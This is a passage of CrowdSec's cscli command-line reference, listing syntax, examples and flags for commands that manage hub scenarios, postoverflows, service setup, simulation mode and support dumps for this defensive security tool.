Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli postoverflows](https://docs.crowdsec.net/docs/next/cscli/cscli_postoverflows.md) - Manage hub postoverflows --- # cscli postoverflows upgrade ## cscli postoverflows upgrade[โ€‹](#cscli-postoverflows-upgrade "Direct link to cscli postoverflows upgrade") Upgrade given postoverflow(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Fetch and upgrade one or more postoverflows from the hub TEXTCOPY ``` cscli postoverflows upgrade [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Upgrade some postoverflows. If they are not currently installed, they are downloaded but not installed. cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss # Show the execution plan without changing anything - compact output sorted by type and name. cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss --dry-run -o raw # Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies. cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss -i cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all Upgrade all the postoverflows --dry-run Don't install or remove anything; print the execution plan --force Force upgrade: overwrite tainted and outdated files -h, --help help for upgrade -i, --interactive Ask for confirmation before proceeding ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli postoverflows](https://docs.crowdsec.net/docs/next/cscli/cscli_postoverflows.md) - Manage hub postoverflows --- # cscli scenarios ## cscli scenarios[โ€‹](#cscli-scenarios "Direct link to cscli scenarios") Manage hub scenarios TEXTCOPY ``` cscli scenarios [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli scenarios list -a cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing cscli scenarios inspect crowdsecurity/ssh-bf crowdsecurity/http-probing cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for scenarios ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli scenarios inspect](https://docs.crowdsec.net/docs/next/cscli/cscli_scenarios_inspect.md) - Inspect given scenario(s) * [cscli scenarios install](https://docs.crowdsec.net/docs/next/cscli/cscli_scenarios_install.md) - Install given scenario(s) * [cscli scenarios list](https://docs.crowdsec.net/docs/next/cscli/cscli_scenarios_list.md) - List scenario(s) * [cscli scenarios remove](https://docs.crowdsec.net/docs/next/cscli/cscli_scenarios_remove.md) - Remove given scenario(s) * [cscli scenarios upgrade](https://docs.crowdsec.net/docs/next/cscli/cscli_scenarios_upgrade.md) - Upgrade given scenario(s) --- # cscli scenarios inspect ## cscli scenarios inspect[โ€‹](#cscli-scenarios-inspect "Direct link to cscli scenarios inspect") Inspect given scenario(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Inspect the state of one or more scenarios TEXTCOPY ``` cscli scenarios inspect [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Display metadata, state and ancestor collections of scenarios (installed or not). cscli scenarios inspect crowdsecurity/ssh-bf crowdsecurity/http-probing # If the scenario is installed, its metrics are collected and shown as well (with an error if crowdsec is not running). # To avoid this, use --no-metrics. cscli scenarios inspect crowdsecurity/ssh-bf --no-metrics # Display difference between a tainted item and the latest one. cscli scenarios inspect crowdsecurity/ssh-bf --diff # Reverse the above diff cscli scenarios inspect crowdsecurity/ssh-bf --diff --rev ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --diff Show diff with latest version (for tainted items) -h, --help help for inspect --no-metrics Don't show metrics (when cscli.output=human) --rev Reverse diff output -u, --url string Prometheus url ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli scenarios](https://docs.crowdsec.net/docs/next/cscli/cscli_scenarios.md) - Manage hub scenarios --- # cscli scenarios install ## cscli scenarios install[โ€‹](#cscli-scenarios-install "Direct link to cscli scenarios install") Install given scenario(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Fetch and install one or more scenarios from the hub TEXTCOPY ``` cscli scenarios install [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Install some scenarios. cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing # Show the execution plan without changing anything - compact output sorted by type and name. cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run -o raw # Download only, to be installed later. cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing --download-only # Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies. cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing -i cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -d, --download-only Only download packages, don't enable --dry-run Don't install or remove anything; print the execution plan --force Force install: overwrite tainted and outdated files -h, --help help for install --ignore Ignore errors when installing multiple scenarios -i, --interactive Ask for confirmation before proceeding ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli scenarios](https://docs.crowdsec.net/docs/next/cscli/cscli_scenarios.md) - Manage hub scenarios --- # cscli scenarios list ## cscli scenarios list[โ€‹](#cscli-scenarios-list "Direct link to cscli scenarios list") List scenario(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") List of installed/available/specified scenarios TEXTCOPY ``` cscli scenarios list [item... | -a] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # List enabled (installed) scenarios. cscli scenarios list # List all available scenarios (installed or not). cscli scenarios list -a # List specific scenarios (installed or not). cscli scenarios list crowdsecurity/ssh-bf crowdsecurity/http-probing ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all List disabled items as well -h, --help help for list ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli scenarios](https://docs.crowdsec.net/docs/next/cscli/cscli_scenarios.md) - Manage hub scenarios --- # cscli scenarios remove ## cscli scenarios remove[โ€‹](#cscli-scenarios-remove "Direct link to cscli scenarios remove") Remove given scenario(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Remove one or more scenarios TEXTCOPY ``` cscli scenarios remove [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Uninstall some scenarios. cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing # Show the execution plan without changing anything - compact output sorted by type and name. cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run -o raw # Uninstall and also remove the downloaded files. cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing --purge # Remove tainted items. cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing -i cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --all Remove all the scenarios --dry-run Don't install or remove anything; print the execution plan --force Force remove: remove tainted and outdated files -h, --help help for remove -i, --interactive Ask for confirmation before proceeding --purge Delete source file too ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli scenarios](https://docs.crowdsec.net/docs/next/cscli/cscli_scenarios.md) - Manage hub scenarios --- # cscli scenarios upgrade ## cscli scenarios upgrade[โ€‹](#cscli-scenarios-upgrade "Direct link to cscli scenarios upgrade") Upgrade given scenario(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Fetch and upgrade one or more scenarios from the hub TEXTCOPY ``` cscli scenarios upgrade [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Upgrade some scenarios. If they are not currently installed, they are downloaded but not installed. cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing # Show the execution plan without changing anything - compact output sorted by type and name. cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run -o raw # Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies. cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing -i cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all Upgrade all the scenarios --dry-run Don't install or remove anything; print the execution plan --force Force upgrade: overwrite tainted and outdated files -h, --help help for upgrade -i, --interactive Ask for confirmation before proceeding ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli scenarios](https://docs.crowdsec.net/docs/next/cscli/cscli_scenarios.md) - Manage hub scenarios --- # cscli setup ## cscli setup[โ€‹](#cscli-setup "Direct link to cscli setup") Tools to configure crowdsec ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Manage service detection and hub/acquisition configuration TEXTCOPY ``` cscli setup [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Call one of detect, install-hub, etc. cscli setup [command] # With no explicit command, will run as "cscli setup interactive" # and pass through any flags. ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --detect-config string path to service detection configuration, will use $CROWDSEC_SETUP_DETECT_CONFIG if defined (default "/var/lib/crowdsec/data/detect.yaml") --ignore strings ignore a detected service (can be repeated) --force strings force the detection of a service (can be repeated) --skip-systemd don't use systemd, even if available --acquis-dir string Directory for the acquisition configuration --dry-run simulate the installation without making any changes -h, --help help for setup ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli setup detect](https://docs.crowdsec.net/docs/next/cscli/cscli_setup_detect.md) - Detect installed services and generate a setup file * [cscli setup install-acquisition](https://docs.crowdsec.net/docs/next/cscli/cscli_setup_install-acquisition.md) - Generate acquisition configuration from a setup file * [cscli setup install-hub](https://docs.crowdsec.net/docs/next/cscli/cscli_setup_install-hub.md) - Install recommended hub items from a setup file * [cscli setup interactive](https://docs.crowdsec.net/docs/next/cscli/cscli_setup_interactive.md) - Interactive setup * [cscli setup unattended](https://docs.crowdsec.net/docs/next/cscli/cscli_setup_unattended.md) - Unattended setup * [cscli setup validate](https://docs.crowdsec.net/docs/next/cscli/cscli_setup_validate.md) - Validate a setup file --- # cscli setup detect ## cscli setup detect[โ€‹](#cscli-setup-detect "Direct link to cscli setup detect") Detect installed services and generate a setup file ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Detects the services installed on the machine and builds a specification to be used with the "setup install-\*" commands. TEXTCOPY ``` cscli setup detect [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # detect services and print the setup plan cscli setup detect # force yaml instead of json (easier to edit) cscli setup detect --yaml # detect and skip certain services cscli setup detect --ignore whitelists ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --detect-config string path to service detection configuration, will use $CROWDSEC_SETUP_DETECT_CONFIG if defined (default "/var/lib/crowdsec/data/detect.yaml") --ignore strings ignore a detected service (can be repeated) --force strings force the detection of a service (can be repeated) --skip-systemd don't use systemd, even if available --yaml output yaml, not json --list-supported-services do not detect; only print supported services -h, --help help for detect ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli setup](https://docs.crowdsec.net/docs/next/cscli/cscli_setup.md) - Tools to configure crowdsec --- # cscli setup install-acquisition ## cscli setup install-acquisition[โ€‹](#cscli-setup-install-acquisition "Direct link to cscli setup install-acquisition") Generate acquisition configuration from a setup file ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Generate acquisition configuration from a setup file. This command reads a setup.yaml specification (typically generated by 'cscli setup detect') and creates one acquisition file for each listed service. By default the files are placed in the acquisition directory, which you can override with --acquis-dir. TEXTCOPY ``` cscli setup install-acquisition [setup_file] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # detect running services, create a setup file cscli setup detect > setup.yaml # write configuration files in acquis.d cscli setup install-acquisition setup.yaml # write files to a specific directory cscli setup install-acquisition --acquis-dir /path/to/acquis.d # dry-run to preview what would be created cscli setup install-acquisition setup.yaml --dry-run ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --acquis-dir string Directory for the acquisition configuration --dry-run simulate the installation without making any changes -h, --help help for install-acquisition ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli setup](https://docs.crowdsec.net/docs/next/cscli/cscli_setup.md) - Tools to configure crowdsec --- # cscli setup install-hub ## cscli setup install-hub[โ€‹](#cscli-setup-install-hub "Direct link to cscli setup install-hub") Install recommended hub items from a setup file ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Install the CrowdSec hub items (collections, scenarios, etc.) recommended for each detected service, based on a setup file. This command reads a setup file (typically generated by 'cscli setup detect') and then installs all required hub content to support the detected services. TEXTCOPY ``` cscli setup install-hub [setup_file] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # detect running services, create a setup file cscli setup detect > setup.yaml # install collection, etc. cscli setup install-hub setup.yaml # dry-run to preview what would be installed cscli setup install-hub setup.yaml --dry-run ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --dry-run simulate the installation without making any changes -h, --help help for install-hub -i, --interactive Ask for confirmation before proceeding ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli setup](https://docs.crowdsec.net/docs/next/cscli/cscli_setup.md) - Tools to configure crowdsec --- # cscli setup interactive ## cscli setup interactive[โ€‹](#cscli-setup-interactive "Direct link to cscli setup interactive") Interactive setup ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Detect services and generate configuration, with user prompts TEXTCOPY ``` cscli setup interactive [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Detect running services, install the appropriate collections and acquisition configuration. # prompt the user for confirmation at each step cscli setup interactive # write acquisition files to a specific directory cscli setup interactive --acquis-dir /path/to/acquis.d # use a different set of detection rules cscli setup interactive --detect-config /path/to/detact.yaml ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --detect-config string path to service detection configuration, will use $CROWDSEC_SETUP_DETECT_CONFIG if defined (default "/var/lib/crowdsec/data/detect.yaml") --ignore strings ignore a detected service (can be repeated) --force strings force the detection of a service (can be repeated) --skip-systemd don't use systemd, even if available --acquis-dir string Directory for the acquisition configuration --dry-run simulate the installation without making any changes -h, --help help for interactive ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli setup](https://docs.crowdsec.net/docs/next/cscli/cscli_setup.md) - Tools to configure crowdsec --- # cscli setup unattended ## cscli setup unattended[โ€‹](#cscli-setup-unattended "Direct link to cscli setup unattended") Unattended setup ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Automatically detect services and generate configuration TEXTCOPY ``` cscli setup unattended [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Detect running services, install the appropriate collections and acquisition configuration. # never prompt for confirmation. stop running if there are manually created acquisition files cscli setup unattended # write acquisition files to a specific directory cscli setup unattended --acquis-dir /path/to/acquis.d # use a different detection configuration file. cscli setup unattended --detect-config /path/to/detact.yaml CROWDSEC_SETUP_UNATTENDED_DISABLE If this variable is set to a non-empty value, unattended setup will be skipped. This can be useful with ansible or other automation tools. ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --detect-config string path to service detection configuration, will use $CROWDSEC_SETUP_DETECT_CONFIG if defined (default "/var/lib/crowdsec/data/detect.yaml") --ignore strings ignore a detected service (can be repeated) --force strings force the detection of a service (can be repeated) --skip-systemd don't use systemd, even if available --acquis-dir string Directory for the acquisition configuration --dry-run simulate the installation without making any changes -h, --help help for unattended ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli setup](https://docs.crowdsec.net/docs/next/cscli/cscli_setup.md) - Tools to configure crowdsec --- # cscli setup validate ## cscli setup validate[โ€‹](#cscli-setup-validate "Direct link to cscli setup validate") Validate a setup file ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Validate a setup file generated by 'cscli setup detect' or manually edited. This command checks the fields of the setup file, and validates each acquisition configuration according to its datasource type. It is especially useful if you have edited the file manually or generated it through other means. TEXTCOPY ``` cscli setup validate [setup_file] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli setup validate setup.yaml ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for validate ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli setup](https://docs.crowdsec.net/docs/next/cscli/cscli_setup.md) - Tools to configure crowdsec --- # cscli simulation ## cscli simulation[โ€‹](#cscli-simulation "Direct link to cscli simulation") Manage simulation status of scenarios TEXTCOPY ``` cscli simulation [command] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli simulation status cscli simulation enable crowdsecurity/ssh-bf cscli simulation disable crowdsecurity/ssh-bf ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for simulation ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli simulation disable](https://docs.crowdsec.net/docs/next/cscli/cscli_simulation_disable.md) - Disable the simulation mode. Disable only specified scenarios * [cscli simulation enable](https://docs.crowdsec.net/docs/next/cscli/cscli_simulation_enable.md) - Enable the simulation, globally or on specified scenarios * [cscli simulation status](https://docs.crowdsec.net/docs/next/cscli/cscli_simulation_status.md) - Show simulation mode status --- # cscli simulation disable ## cscli simulation disable[โ€‹](#cscli-simulation-disable "Direct link to cscli simulation disable") Disable the simulation mode. Disable only specified scenarios TEXTCOPY ``` cscli simulation disable [scenario] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli simulation disable ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -g, --global Disable global simulation (reverse mode) -h, --help help for disable ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli simulation](https://docs.crowdsec.net/docs/next/cscli/cscli_simulation.md) - Manage simulation status of scenarios --- # cscli simulation enable ## cscli simulation enable[โ€‹](#cscli-simulation-enable "Direct link to cscli simulation enable") Enable the simulation, globally or on specified scenarios TEXTCOPY ``` cscli simulation enable [scenario] [-global] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli simulation enable ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -g, --global Enable global simulation (reverse mode) -h, --help help for enable ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli simulation](https://docs.crowdsec.net/docs/next/cscli/cscli_simulation.md) - Manage simulation status of scenarios --- # cscli simulation status ## cscli simulation status[โ€‹](#cscli-simulation-status "Direct link to cscli simulation status") Show simulation mode status TEXTCOPY ``` cscli simulation status [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli simulation status ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for status ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli simulation](https://docs.crowdsec.net/docs/next/cscli/cscli_simulation.md) - Manage simulation status of scenarios --- # cscli support ## cscli support[โ€‹](#cscli-support "Direct link to cscli support") Provide commands to help during support TEXTCOPY ``` cscli support [action] [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for support ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli support dump](https://docs.crowdsec.net/docs/next/cscli/cscli_support_dump.md) - Dump all your configuration to a zip file for easier support --- # cscli support dump ## cscli support dump[โ€‹](#cscli-support-dump "Direct link to cscli support dump") Dump all your configuration to a zip file for easier support ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Dump the following information: * Crowdsec version * OS version and runtime system information * Enabled feature flags * Latest Crowdsec logs (log processor, LAPI, remediation components) * Installed collections, parsers, scenarios... * Bouncers and machines list * CAPI/LAPI status * Crowdsec config (sensitive information like username and password are redacted) * Crowdsec metrics * Stack trace in case of process crash TEXTCOPY ``` cscli support dump [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli support dump cscli support dump -f /tmp/crowdsec-support.zip ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --fast Skip slow operations, like cpu profiling -h, --help help for dump -f, --outFile string File to dump the information to ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli support](https://docs.crowdsec.net/docs/next/cscli/cscli_support.md) - Provide commands to help during support --- # cscli version ## cscli version[โ€‹](#cscli-version "Direct link to cscli version") Display version TEXTCOPY ``` cscli 